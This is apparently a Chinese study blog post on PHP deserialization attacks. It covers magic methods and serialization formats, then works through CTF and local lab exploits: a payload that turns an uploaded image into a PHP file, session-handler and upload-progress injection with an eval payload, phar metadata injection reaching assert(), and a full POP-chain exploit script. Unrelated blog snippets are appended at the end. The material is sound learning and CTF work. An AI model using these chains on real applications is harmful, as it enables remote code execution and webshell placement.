php反序列化总结与学习
- 基础知识:
1.php类与对象
2.魔术函数
3.序列化方法
- 类与对象
<?php
class test{
public $var = "hello world";
public function echop()
{
echo $this->var;
}
}
$obj = new test();
$obj->echop();
?>
OutPut:
helloworld
首先要创建一个对象的实例,然后调用它。
- 2.魔术函数
__construct(),__destruct(),__call(),__callStatic(),__get(),__set(),__isset(),__unset(),__sleep(),__wakeup(),__toString(),__invoke(),
__construst() 方法在每次创建新对象时会被自动调用
__destruct() 方法在使用exit()终止脚本运行时也会被自动调用
__toString() 方法在一个类被当成字符串被调用‘
<?php
class test{
public $var = "hello world"; public function echop()
{
echo $this->var;
echo "<br />";
} public function __construct()
{
echo "construct";
echo "<br />";
} public function __destruct()
{
echo "destruct";// TODO: Implement __destruct() method.
echo "<br />";
} public function __toString()
{
return "toString";// TODO: Implement __toString() method.
echo "<br />";
}
} $obj = new test();
$obj->echop();
echo $obj;
?>
output:
construct
hello world
toStringdestruct
因此观察他们的输出顺序就可以知道这些函数的特性。
- 序列化
serialize($var)
序列化的过程就是将一个对象用字符串进行储存。
这些是一些基础知识。强网杯有一道题利用的就是反序列化的一些原理,可以看一下:
upload:
之前的登陆注册不细说了。这里主要看一下出现序列化的代码。
这里将profile在类中进行反序列化处理
在tp5中还存在一些断点,查看这些断点的位置。
<?php
namespace app\web\controller; class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; public function __get($name)
{
return $this->except[$name];
} public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
} } class Register
{
public $checker;
public $registed; public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
} } $profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php"; $register = new Register();
$register->registed = false;
$register->checker = $profile; echo urlencode(base64_encode(serialize($register)));
这里记录这道题的目的是介绍一下这些魔法函数在不同框架中发挥的作用。例如这里,为什么要引进这些魔术函数。这里的construct是验证这里的用户是否注册了账号,如果没注册就返回index.php
_get()和_call()是给出了再调用了不可调用的成员或方法时的处理方法。
序列化public private protect参数产生不同结果
<?php
class test{
private $test1 = "hello";
public $test2 = "hello";
protected $test3 = "hello";
}
$test = new test();
echo serialize($test);
?>
公有类,私有类,保护类。
输出之后
O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}
网页抓取后得到:
O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
因此可以看到私有类序列化后变成\00test\00test1 公有类变成了test2 保护类变成\00*\00test3
- session序列化
当用户在与服务器端进行交互操作时,PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。
php-session序列化机制
<?php
session_start();
$_SESSION['a'] = 'hsy';
运行后在后端服务器查找生成的session文件
session是自动经过SHA256加密的。
session反序列化漏洞测试:
同目录下建立三个php文件
one.php
<?php
session_start();
$_SESSION['test'] = $_GET['a'];
这里是将传入的参数写入服务器端的session中。
two.php
<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/5
* Time: 7:31 PM
*/
class student{
var $name;
var $age;
var $mobile;
function __wakeup()
{
file_put_contents($this->name,$this->age,$this->mobile); // TODO: Implement __wakeup() method.
}
} session_start();
$a = $_SESSION['test'];
unserialize($a);
第二个文件用于从session文件中读取session['test’],将其反序列化。
sessid.php
<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/5
* Time: 7:31 PM
*/
class student{
var $name;
var $age;
var $mobile;
function __wakeup()
{
file_put_contents($this->name,$this->age,$this->mobile); // TODO: Implement __wakeup() method.
}
} session_start();
$a = $_SESSION['test'];
unserialize($a);
最后一个文件用于我们构造session序列化的攻击链。
这里构思一下这里攻击流程。首先是payload,可以看到ser.php这里直接被我硬编码了,根据strudent类的__wakeup()方法可以看到,name字段是文件名,age字段与mobile字段拼接后作为文件内容写入文件。
payload拿到之后先访问one.php,让后端把payload存到session文件中,然后再访问two.php,让后端从session文件中读取数据,并将之反序列化,反序列化的过程中触发__wakeup()魔术方法,触发漏洞。
实验开始前我们需要清除一下session的缓存。在mac中session的储存位置位于/var/tmp
运行第三个程序
这个结果会作为我们一会利用的攻击链。
访问one.php将刚才拿到的利用链赋值给参数
回到本地session生成列表
访问一下
在two.php中进行反序列化操作
直接拿到了第一个文件,这个文件就是整个后台的权限。
这里有一道ctf题是关于session序列化的知识点。
题目获得代码
//浙江大学2019校赛
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
} function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
这里的重点在于 ini_set('session.serialize_handler', 'php');
通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
php文档中有这样一个关于session处理机制的说明
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
这里涉及巧妙的地方是代码中没有一个参数用来接收传入的序列化变量,因此我们需要自己在本地写一个上传界面将参数传入服务器中。
<!DOCTYPE html>
<html>
<head>
<title>test XXE</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--
不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
序列化
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj); var_dump($a); #|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
查找储存根目录的位置
查找到根目录位置后访问就得到了flag。
- phar序列化
phar序列化事实上可以理解为一种注入技术,因此phar序列化又可以称为phar协议对象注入
基本概念:phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。
phar文件默认状态是只读,使用phar文件不需要任何的配置。
而phar://伪协议即PHP归档,用来解析phar文件内容。
phar由四部分构成:
stub phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
漏洞复现:
这里先在项目中内置一个phar类:
phar_test.php
<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/6
* Time: 1:44 AM
*/
require_once('evil.class.php'); $exception = new Evil('phpinfo()'); $phar = new Phar("vul.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("<?php_HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
evil.class.php
<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/6
* Time: 1:48 AM
*/
class Evil{
protected $val;
function __construct($val)
{
$this->val = $val;
}
function __wakeup()
{
assert($this->val); // TODO: Implement __wakeup() method.
}
}
?>
执行phar.php
执行后会在根目录产生一个vul.phar,利用二进制文件打开,mac就用friend hex Windows平台用winhex
可以发现mete-data已经以序列化的形式保存在phar压缩文件中。
反序列化操作:
在test中写入
<?php
require_once('evil.class.php');
if(file_exists($_REQUEST['url'])){
echo "success";
}
else{
echo "fail";
}
?>
访问http://localhost/test.php?url=phar://vul.phar可以进行命令执行。
- pop链构造
POP:面向属性编程
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
POP链利用
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
参考如下代码:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
大概逻辑:
string1
中的__tostring
存在$this->str1->get_flag()
,分析一下要自动调用__tostring()
需要把类string1
当成字符串来使用,因为调用的是参数str1
的方法,所以需要把str1
赋值为类GetFlag
的对象。- 发现类
func
中存在__invoke
方法执行了字符串拼接,需要把func
当成函数使用自动调用__invoke
然后把$mod1
赋值为string1
的对象与$mod2
拼接。 - 在
funct
中找到了函数调用,需要把mod1
赋值为func
类的对象,又因为函数调用在__call
方法中,且参数为$test2
,即无法调用test2
方法时自动调用__call
方法; - 在
Call
中的test1
方法中存在$this->mod1->test2();
,需要把$mod1
赋值为funct
的对象,让__call
自动调用。 - 查找
test1
方法的调用点,在start_gg
中发现$this->mod1->test1();
,把$mod1
赋值为start_gg
类的对象,等待__destruct()
自动调用。
exp:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
} class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象 }
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象 }
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象
得到的结果传入参数可以get_flag
php反序列化总结与学习的更多相关文章
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- PHP反序列化漏洞代码审计—学习资料
1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. ...
- .NET C# Json序列化与反序列化——Newtonsoft.Json学习笔记
Newtonsoft.Json,一款.NET中开源的Json序列化和反序列化类库(介绍及下载地址:http://json.codeplex.com/). /// <summary> ...
- PHP 反序列化漏洞入门学习笔记
参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...
- C#JSON序列化与反序列化
原文:C#JSON序列化与反序列化 windows phone学习也有一段时间了,想要做一个新闻客户端练练手,于是就在网上找看有没有接口之类.在天狗播客找到了热点热词新闻资讯API开放接口,接口提供的 ...
- 6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现
2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE- ...
- DRF框架之Serializer序列化器的反序列化操作
昨天,我们完成了Serializer序列化器的反序列化操作,那么今天我们就来学习Serializer序列化器的最后一点知识,反序列化操作. 首先,我们定要明确什么是反序列化操作? 反序列化操作:JOS ...
- Dubbo的反序列化安全问题-Hessian2
0 前言 本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题.文章需要RPC.Dubbo.反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞. ...
- Dubbo的反序列化安全问题——kryo和fst
目录 0 前言 1 Dubbo的协议设计 2 Dubbo中的kryo序列化协议触发点 3 Dubbo中的fst序列化协议触发点 3.1 fst复现 3. 2 思路梳理 4 总结 0 前言 本篇是Dub ...
随机推荐
- iOS开发实战之搜索控制器UISearchController使用
当tableView中的数据过多的时候,在tableView上加一个搜索框就变的很必要了,本文就讨论搜索控制器的使用,以及谓词的简单实现. .m文件中代码如下 添加搜索控制器的各种协议 <UIS ...
- idea括号选中时出现一条下滑线(突出显示)打开或关闭方法
打开设置 Editor->code Editing->Matched brace取消这个对勾
- 动态路由 - EIGRP
EIGRP 特性 EIGRP(增强内部网关路由协议)是思科的私有协议,属于距离矢量路由协议,但又具有链路状态的特性.并且支持 VLSM(可变长子网和无类路由协议).但在本质上说还是传送路由条目. 具有 ...
- java从零到变身爬虫大神
刚开始先从最简单的爬虫逻辑入手 爬虫最简单的解析面真的是这样 import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import java. ...
- java 启动Tomcat报错:The specified JRE installation does not exist
启动TomCat服务报错: The specified JRE installation does not exist 解决方法: Eclipse:window->perferences-> ...
- C#LeetCode刷题之#122-买卖股票的最佳时机 II(Best Time to Buy and Sell Stock II)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/4032 访问. 给定一个数组,它的第 i 个元素是一支给定股票第 ...
- 阿里云日志服务SLS
前言: 刚入职实习了几天,我发现我的任务就是学习阿里云日志服务这块业务内容,这个功能和mysql一样,但是速度和视觉却是甩mysql这类数据库几条街. 当得知公司没人会这项技术后(在这之前我也没听过, ...
- storcli 命令(更新Ing)
help [root@centos7]# storcli -h Storage Command Line Tool Ver 007.0606.0000.0000 Mar , (c)Copyright ...
- Spring - RestTemplate执行原理分析
什么是RestTemplate Synchronous client to perform HTTP requests, exposing a simple, template method API ...
- 性能分析(7)- 未利用系统缓存导致 I/O 缓慢案例
性能分析小案例系列,可以通过下面链接查看哦 https://www.cnblogs.com/poloyy/category/1814570.html 前提 前面有学到 Buffer 和 Cache 的 ...